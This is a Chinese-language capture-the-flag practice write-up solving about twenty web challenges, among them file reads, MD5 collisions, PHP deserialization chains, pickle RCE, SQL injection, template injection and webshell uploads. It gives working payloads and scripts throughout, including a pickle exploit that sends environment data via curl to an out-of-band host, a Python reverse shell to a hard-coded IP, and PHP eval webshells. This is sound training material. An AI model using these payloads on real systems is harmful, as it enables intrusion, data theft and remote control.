前言
刷题3rd,第13、14页
[安洵杯 2019]easy_web
任意文件读取+md5强比较+rce
进入题目,一眼/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
存在任意文件读取,读取的文件名好像存在编码,先解码看看
可以知道套了一层hex,两层base64,那我们用同样的方式编码index.php,然后读取index.php
打开读取的图像,base64解码一下内容
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
审计代码,可以知道这里不让我们直接读flag,然后要满足md5强比较才能执行命令,而且命令执行的cmd参数部分过滤了大量的命令
md5强比较这里不能用数组,直接掏出传家宝(
a=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&b=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
至于如何读取flag,这里ban掉了常见的读取命令,也ban了od,看了一下没ban反斜杠
那么可以用反斜杠绕过关键词的过滤
cmd=l\s /
也可以用sort命令直接读取sort /flag
[NCTF 2018]Easy_Audit
PHP特性
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}
if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}
if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}
?>
审计下代码,
先看底下的判断部分:
首先要满足
substr($_GET['yulige'], 32) === md5($_GET['yulige']
这个只需要用数组返回false即可绕过
然后是
preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'
我们知道
preg_match
存在换行解析漏洞%0a
可以绕过然后是读取文件匹配字符串,直接用data伪协议即可,然后就能得到flag
现在我们回来看上面对
$_SERVER
的解析的waf,要匹配的是$_SERVER['QUERY_STRING']
即get请求中?
参数后的原始内容这个用url编码即可绕过
而对
$_REQUEST
的解析waf会把请求中的键值进行匹配,这里是会过滤字母但是
$_REQUEST
有个特性就是当GET和POST有相同的变量时,会优先匹配POST的变量,所以这里只要在POST请求再用同样的变量名传一个不是字母的值就行
最终payload:
GET: ?%79%75%6C%69%67%65[]=&%6E%63%74%66=%6E%63%74%66%69%73%66%75%6E%0a&%66%6C%61%67=data://text/plain,ccc_liubi
POST: yulige=1&nctf=2&flag=1
[FBCTF 2019]rceservice
正则绕过
<html>
<body>
<h1>Web Adminstration Interface</h1>
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>
首先把环境变量的目录设置在/home/rceservice/jail
,应该是用来限制我们能直接使用的命令
然后给了一个能命令执行的框,我们输入的命令会以json的形式传入,那根据代码的要求,大概的json格式就是这样:{"cmd":"ls"}
但是正则匹配ban掉了大量的命令,那么这里有两种方法
法一:换行绕过
这里的正则匹配规则是/^.*( ).*$/
,很明显能用%0a进行绕过
同时要保持json格式,所以我们的payload为
{%0a"cmd":"ls /home/rceservice/jail"%0a}
此时json解析后的格式就是
{ // 只匹配这行
"cmd":"ls /home/rceservice/jail"
}
传入payload,发现jail下只有ls一个命令,那我们需要用/bin/cat
来调用cat命令读取
测试发现flag在/home/rceservice下
所以最终的payload:
?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
法二:PCRE回溯
这个就不多说了,直接上exp,注意get请求有长度限制,所以这里要用post请求
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28398/", data={"cmd":payload})
print(res.text)
[NCTF 2018]全球最大交友网站
git
进入题目,据说原题这里进去是index2.html的时钟,然后结合题目名称指的github,猜测是git泄露
这里用GitHack来dump
python GitHack.py -u http://node4.anna.nssctf.cn:28810/.git
只得到一个README.md
Allsource files areingit tag1.0
告诉我们真正的源码内容在tag1.0版本中,那么怎么从泄露的.git目录反提取出1.0的源码?
这里的git操作和原理要参考p神的一篇文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
而我们可以用工具scrabble来dump当前这个网址/.git/
下的文件,nss上的这题貌似源码都在a.zip里面了
./scrabble http://node4.anna.nssctf.cn:28810/
然后在dump下来的文件夹里用git的命令来查看日志历史
git log
可以看到有过三次 commit,当前 head 指向 hint 这次 commit
直接用git show
命令显示这次commit提交的详细信息
git show # 显示最新提交的详细信息
git show 6b21737b # 根据哈希显示特定提交的详细信息
git show master # 根据分支名称显示特定提交的详细信息
git show <commit> <filename> # 显示特定文件的提交详细信息
这里的flag是假的,我们再show上一次hello的commit修改内容
得到真正的flag
另外的解法:
这里也可以用
git reset
指令回滚版本来得到flaggit reset --hard 02b7f44320ac0ec69e954ab39f627b1e13d1d362
得到readme.txt,即flag
git reset –-soft
:回退到某个版本,只回退了commit的信息,不会恢复到index file一级。如果还要提交,直接commit即可git reset -–hard
:彻底回退到某个版本,本地的源码也会变为上一个版本的内容,撤销的commit中所包含的更改被冲掉也可以用Git_Extract一把梭
python git_extract.py http://node4.anna.nssctf.cn:28810/.git/
这个会把每个版本的内容都dump下来,简直是神(
[FSCTF 2023]巴巴托斯!
http+任意文件读取
- Access Denied! I love FSCTF Browser
- Access Denied! Are you local man?
满足上面这两个条件,然后就能进行任意文件读取了
flag在flag.php,直接用伪协议读
index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码即可
prize_p2
nodejs setTimeout整型溢出+proc文件读取
进入题目,直接给源码了
const { randomBytes } = require('crypto');
const express = require('express');
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {
fs.read(fd, flag, 0, 44, 0, () => {
fs.rm(fp, () => {});
});
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
});
app.get('/hint', function (req, res) {
res.send(flag.toString().slice(0, randomBytes(1)[0]%32));
})
// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
try {
let a = req.query.a;
if (a === randomBytes(3).toString()) {
res.send(fs.readFileSync(req.query.b));
} else {
const t = setTimeout(() => {
res.send(fs.readFileSync(req.query.b));
}, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);
}
} catch {
res.send('?');
}
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
审计一下代码,
/hint路由下,会截取flag的一部分输出,起始位置为0,结束位置为生成的随机数在0到31之间的值,也就是说最多输出32位的flag
/getflag路由下,先会调用a方法把flag文件删除,然后存在任意文件读取参数b,而且需要经过setTimeout,拿传入的get参数c的值和86400*1000比较,如果比那个数大,就设置为参数c的延迟,否则就为86400*1000,要等上一天
打/hint
我们先看hint路由,burpsuite抓包尝试爆破
很好,果然只出了前32位的flag,还差8位,直接爆破平台(bushi
打/getflag
读fd目录
首先进入之后我们的flag文件已经被删掉了
但是这里的操作是
const a = fs.open(fp, 'r', (err, fd) => {
fs.read(fd, flag, 0, 44, 0, () => {
fs.rm(fp, () => {});
});
});
在flag文件打开之后没关闭就直接删除了flag文件
那么在/proc这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容
至于对应的文件描述符是多少,我们依旧需要爆破,但是土豆/getflag路由经不起bp这么嗯爆,环境会炸,手动挡请
绕过setTimeout
然后是绕过setTimeout,setTimeout
是使用Int32
来存储延时参数值的,也就是说最大的延时值是2^31-1
。 一旦超过了最大值,其效果就跟延时值为0的情况一样
所以令延时参数c为2147483648,即可实现延时为0
最终payload:
/getflag?b=/proc/self/fd/18&c=2147483648
[HZNUCTF 2023 preliminary]pickle
进入题目,直接给源码
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0')
一眼pickle库,明显是pickle反序列化,给了一个有pickle.loads
的/calc路由和一个能任意读文件的/readFile路由
非预期
有一个/readFile的路由,我们尝试读一下环境变量
/readFile?filename=/proc/self/environ
很好,flag到手了
预期
法一:pyjail
要在/calc路由下进行pickle反序列化,但是过滤了os
问题不大,当成pyjail来做就行
直接__import__('o'+'s')
字符串拼接绕过即可
注意/calc路由只return "ganbadie!"
,说明是无回显,我们需要写文件把结果带外
生成opcode:
import pickle
import base64
class opcode(object):
def __reduce__(self):
return eval,("__import__('o'+'s').system('ls /|tee 1')",)
a=opcode()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))
然后在/readFile路由读取即可
flag在环境变量,那就执行env
然后结果带外即可
法二:exec套娃
思路来源于春哥:https://www.nssctf.cn/note/set/1691
大概思路就是用exec,里面的命令套一次base64编码
无回显带外exp:
import os
import pickle
import base64
actual_payload = '''
import os
os.system('curl -X POST -d "fizz=`env`" 7pxk4y4uyxnonsq8lok7mnygm7sxgm.oastify.com')
'''
encoded_payload = base64.b64encode(actual_payload.encode()).decode()
class RCE:
def __reduce__(self):
cmd = f'import base64; exec(base64.b64decode("{encoded_payload}"));'
return exec, (cmd,)
a = RCE()
payload = base64.b64encode(pickle.dumps(a))
print(payload)
#my_raw = base64.b64decode(payload)
#print(my_raw)
#pickle.loads(base64.b64decode(payload).replace(b'os', b''))
curl带外
反弹shell
把actual_payload改为
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("115.236.153.170",57746));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
题目环境里没有nc,所以不能直接system调用nc弹shell
[WUSTCTF 2020]颜值成绩查询
黑盒sql注入
进入题目,给了个查询框,明显是要我们注入,注入点在get请求的stunum参数上
先测试一下闭合方式,数字型注入1--
的时候有回显
然后测试一下万能密码1 or 1 = 1--
,返回student number not exists.
猜测存在过滤,我们尝试绕过一下,先尝试1/**/or/**/1/**/=1--
成功回显,说明过滤了空格
测试字段数
1/**/order/**/by/**/3--
测到4时返回student number not exists.,说明字段有三个
联合注入法
然后尝试联合注入
-1/**/union/**/select/**/1,2,3--
返回student number not exists.,猜测仍然存在过滤,尝试大小写绕过,成功
-1/**/Union/**/selEct/**/1,2,3--
爆表名
-1/**/Union/**/sElect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()--
得到flag,score
列名
-1/**/Union/**/sElect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'--
得到flag,value
字段
-1/**/Union/**/sElect/**/1,2,group_concat(flag,'--',value)/**/from/**/flag--
flag在value字段里面
盲注法
(ascii(substr(database(),1,1))>32) 返回1的结果
(ascii(substr(database(),1,1))<127) 返回0的结果
exp: from https://www.nssctf.cn/note/set/976
import requests
url = "http://1.14.71.254:28953/?stunum="
result = ""
i = 0
while( True ):
i = i + 1
high=32
low=127
while( high < low ):
mid = (high + low) // 2
payload = "(ascii(substr(database(),%d,1))>%d)" % (i , mid)
#payload = "(ascii(substr((sElect/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)
#payload = "(ascii(substr((sElect/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i , mid)
# payload = "(ascii(substr((sElect(group_concat(value))from/**/flag),%d,1))>%d)"%(i,mid)
r = requests.get(url+payload)
r.encoding = "utf-8"
if "Hi admin" in r.text :
high = mid + 1
else:
low = mid
last = result
if high!=32:
result += chr(high)
else:
break
print(result)
[SWPUCTF 2022 新生赛]file_master
文件上传
给了个查看文件和上传文件的功能
尝试读/flag,发现设置了open_basedir
那么我们先查看一下index.php
<?php
session_start();
if(isset($_GET['filename'])){
echo file_get_contents($_GET['filename']);
}
else if(isset($_FILES['file']['name'])){
$whtie_list = array("image/jpeg");
$filetype = $_FILES["file"]["type"];
if(in_array($filetype,$whtie_list)){
$img_info = @getimagesize($_FILES["file"]["tmp_name"]);
if($img_info){
if($img_info[0]<=20 && $img_info[1]<=20){
if(!is_dir("upload/".session_id())){
mkdir("upload/".session_id());
}
$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
$content = file_get_contents($save_path);
if(preg_match("/php/i",$content)){
sleep(5);
@unlink($save_path);
die("hacker!!!");
}else{
echo "upload success!! upload/your_sessionid/your_filename";
}
}else{
die("image hight and width must less than 20");
}
}else{
die("invalid file head");
}
}else{
die("invalid file type!image/jpeg only!!");
}
}else{
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
}
?>
审计一下,
限制条件:检测MIME类型是否为image/jpeg,检测图片文件头,限制图片宽度,检测文件内容是否存在php
那么只要改Content-Type,文件头加GIF89a,短标签绕过过滤;值得一提的是宽度,这里居然只需要用#define
提前定义一下宽高就行了
payload:
Content-Type: image/jpeg
#define height 1
#define width 1
GIF89a
<?= eval($_POST['cmd']);?>
然后就getshell了
[NSSRound#1 Basic]sql_by_sql
二次注入+盲注
二次注入
进入题目,给了个注册和登录的功能,结合题目名称猜测存在二次注入
测试一下,发现有个admin账号,那我们先随便注册个号进去看看,发现一个修改密码的功能
点击,ctrl+u在页面源码处发现hint
update user set password='%s' where username='%s';
那么我们可以对username进行二次注入,实现对admin密码的修改
先注册一个admin'--
的用户,然后修改其密码,此时sql语句就变成了
update user set password='%s' where username='admin'--';
那么就实现了对admin的密码修改
登录admin
给了个查询用户的功能,抓个包看一下接口
测试一下正常输入,只回显exist或者no user
尝试万能密码1'or 1=1#
的时候报错了,测试一下发现是#
不能作为注释符了,那么可以得知数据库不是mysql
猜测这里是sqlite,特点是用数据表进行查询发现不会报错
布尔盲注
手工
sqlite的盲注判断语句为1 and 1=2
,没有引号闭合也没有注释
sqlite中有一个类似information_schema功能的表sqlite_master
其中有五个字段
- type:记录项目的类型,如table、index、view、trigger
- name:记录项目的名称,如表名、索引名等
- tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
- rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
- sql:记录创建该项目的SQL语句
所以我们可以利用select name from sqlite_master where type='table' limit 1,1
语句来获取表名
注:sqlite中没有ascii()
函数,所以我们盲注时需要直接和字符比较
查询的语法:
1 and substr((select name from sqlite_master where type='table' limit 1,1),1,1)='a'
select sql from sqlite_master where type='table' and name = 'flag'
select flag from flag
exp:
import requests
import time
import string
str = string.ascii_letters + string.digits + "{}|-~,"
# print(str)
print(string.printable)
url = "http://node4.anna.nssctf.cn:28352/query"
s = requests.session()
flag = ""
headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZWatCQ.M6bw04OrEUllrClJjpO11QowmWI"}
for i in range(0, 100):
for x in str:
data = {
# 'id': "1 and substr((select name from sqlite_master where type='table' limit {},1),1,1)='{}'".format(i,x),
'id': "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, x)
}
res = s.post(url=url, data=data,headers=headers)
# print(data)
# print(res.status_code)
# time.sleep(0.1)
if "exist" in res.text:
flag += x
print(flag)
break
if chr == '%':
break
sqlmap
sqlmap一把梭,好像要带上cookie
python3 sqlmap.py -u "node4.anna.nssctf.cn:28352/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZWatCQ.M6bw04OrEUllrClJjpO11QowmWI" -T flag -C flag --dump
[羊城杯 2020]easyser
ssrf+反序列化+绕过死亡exit
试图用termux做题(
dirsearch扫一下
发现robots.txt
访问,提示我们star1.php
访问star1.php
明显存在ssrf,f12发现hint:小胖说用个不安全的协议从我家才能进ser.php呢!
那么我们就给path传入http://127.0.0.1/ser.php
得到源码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
审一下,明显是构造反序列化pop链,还有死亡die绕过
目标是Yongen::hasaki
的file_put_contents
写马,用伪协议写马进去
链子:GWHT::__toString() -> Yongen::hasaki()
死亡代码die这里算一下只有13个字符会参与base64,那么我们要补3个字符
exp:
<?php
class GWHT
{
public $hero;
}
class Yongen
{
public $file = "php://filter/write=convert.base64-decode/resource=1.php";
public $text = "aaaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=";
}
$a = new GWHT();
$a->hero = new Yongen();
echo serialize($a);
接下来就是这题最抽象的点了,要传入参数是啥。。。
这里用arjun爆破,但是我的arjun只爆出path。。。
看别人能爆出参数c
然后把我们的payload作为参数c的值传入,getshell即可
[suctf 2019]checkin
.user.ini文件上传
进入题目,直接给了我们个文件上传的功能
随便上传个图片马,发现会检测<?
,可以用短标签绕过
然后发现会检测后缀,这里考虑用.user.ini上传进行包含
发现会检测文件头,加个GIF89a
接下来直接传png后缀的图片马,注意短标签和文件头
然后访问对应目录下的index.php文件,getshell
做这题的时候速度一定要快,服务器那边会重置上传的文件,然后掉马
[UUCTF 2022 新生赛]ezpop
反序列化引用绕过+字符串逃逸
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
链子:nothing::__destruct -> output::__tostring -> youwant::rce
首先是nothing::__destruct
,明显需要进行引用绕过往$a里面写入new output()
来调用__toString方法
触发了__toString之后就能进入rce
,rce里面直接就能命令执行了
exp:
<?php
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output
{
public $a;
}
class nothing
{
public $a;
public $b;
public $t;
}
class youwant
{
public $cmd="system('tac flag.php');";
}
$a=new nothing();
$a->a=&$a->b;
$a->t=new output();
$a->t->a=new youwant();
echo serialize($a);
// O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:23:"system('tac flag.php');";}}}
接下来看下面反序列化的部分,我们传进去上面的序列化字符串之后会先调用UUCTF类进行反序列化之后再次进行序列化的操作,
但是这里要注意一点,UUCTF类中只有$this->key==="UUCTF"
内部才会进行反序列化
但是key和basedata的值我们不可控,而name的值我们可控,所以这里要用到字符串逃逸,题目给的逃逸数为增加1位
base64_encode一下,看一下我们的原始序列化字符串
得到O:5:"UUCTF":4:{s:4:"name";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ3RhYyBmbGFnLnBocCcpOyI7fX19";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
再令key为UUCTF看看
得到O:5:"UUCTF":4:{s:4:"name";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ3RhYyBmbGFnLnBocCcpOyI7fX19";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}
那么要字符串逃逸的目标就是增加我们传入的要base64解码的字符串的长度来顶掉";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
,换成";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}
(此时序列化识别的依旧是s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ3RhYyBmbGFnLnBocCcpOyI7fX19"
)
最终exp:
<?php
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output
{
public $a;
}
class nothing
{
public $a;
public $b;
public $t;
}
class youwant
{
public $cmd="system('tac flag.php');";
}
$a=new nothing();
$a->a=&$a->b;
$a->t=new output();
$a->t->a=new youwant();
$basedata = base64_encode(serialize($a));
$data = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';// 要添加的字符串
$payload = '';
$hacker = '';
for($i=0;$i<strlen($data);$i++)
$hacker.='hacker';
$payload = $hacker.$data;
echo $payload;
还是感觉讲不明白。。。
[护网杯 2018]easy_tornado
tornado模板注入
进入题目,给了三个路由,点一下发现存在任意文件读取的路由/file?filename=&filehash=
回到主页读一下几个路由
/flag.txt:flag in /fllllllllllllag
尝试直接读flag,会跳转到/error?msg=Error
返回error,应该是filehash不对
/welcome.txt:render
结合题目可以知道这题用了tornado模板
/hints.txt:md5(cookie_secret+md5(filename))
猜测是filehash的计算方式
那么我们接下来就要想办法获取cookie_secret的值,猜测在环境变量里
综合一下我们上面的信息,猜测在/error?msg=Error
处存在ssti
测试一下{{7*7}}
,返回ORZ,应该是有过滤
我们直接尝试读环境变量{{handler.settings}}
,得到cookie_secret
接下来就是带着这个cookie_secret去md5加密我们的文件名了
/fllllllllllllag
的md5值是3bf9f6cf685a6dd8defadabfb41a03a1,拼接到cookie_secret的后面再md5加密一次
然后带到filehash读/fllllllllllllag就行了
[UUCTF 2022 新生赛]ezrce
无回显rce + 长度限制
进入题目,给了一个命令执行接口
我们输入ls
,返回命令执行失败
尝试执行env
,返回命令已在./tmp/目录下成功执行
这里既然给了个路径,猜测要写文件,所以我们尝试带出回显
cmd=ls />1
返回命令执行失败
,但是问题不大,直接访问/tmp/1得到回显的内容
接下来读flag
cmd=cat /flag>2
返回你也太长了吧,删除你的tmp目录了
,应该是限制了命令执行的长度,测试一下发现长度最多只能为6
我们可以直接读环境变量
cmd=env>2
但是这题的flag不是环境变量那个
也可以写入一个和读取命令相同的文件,然后直接用
* /flag
来调用这个文件,相当于调用了命令本地测试一手:
payload:
cmd=>cat cmd=* /*>1
注意这里最好重新开个靶机,不然有可能因为目录下其它写入的文件冲突导致命令执行失败
[FSCTF 2023]是兄弟,就来传你の🐎!
文件上传限制内容长度
给了一个文件上传的功能
尝试传图片马,发现会检测文件内容
测试一下发现会检测<?
,还会检测文件头和内容长度不超过15
那我们只能修改我们的马,用短标签绕过,文件头用GIF,命令执行用反引号,读取用`nl /*`
GIF<?=`nl /*`;
发现会检测文件后缀
fuzz一下
.pht
.phpt
.phtml
.php3
.php4
.php5
.php6
.phpx
.jpg.php
1.php/.
发现只有.pht
是可以传上去的
那就直接访问上传的马读到flag
[FSCTF 2023]寻找蛛丝马迹
信息收集
ctrl+u查看源码,在html注释里找到第一段flag:FSCTF{Tell_y0U_n
在styles.css里找到第二段flag:oT_To_p
在script.js里发现第三段flag:oInT_oUt_
,还给了第四段提示:我不想让谷歌搜到我的网站
猜测是能反爬虫的robots.txt,访问,得到第四段flag:tH@t_y000
,还告诉我们第五段和苹果有点关系
猜测是苹果的隐藏文件.DS_store,得到第五段flag:u_Don't_
,告诉我们最后一个提示是备份文件
那就是www.zip了,得到最后的flag:`believe_it!}`
flag:FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}
注:遇到中文乱码的可以在火狐的f12开发者工具里查看对应内容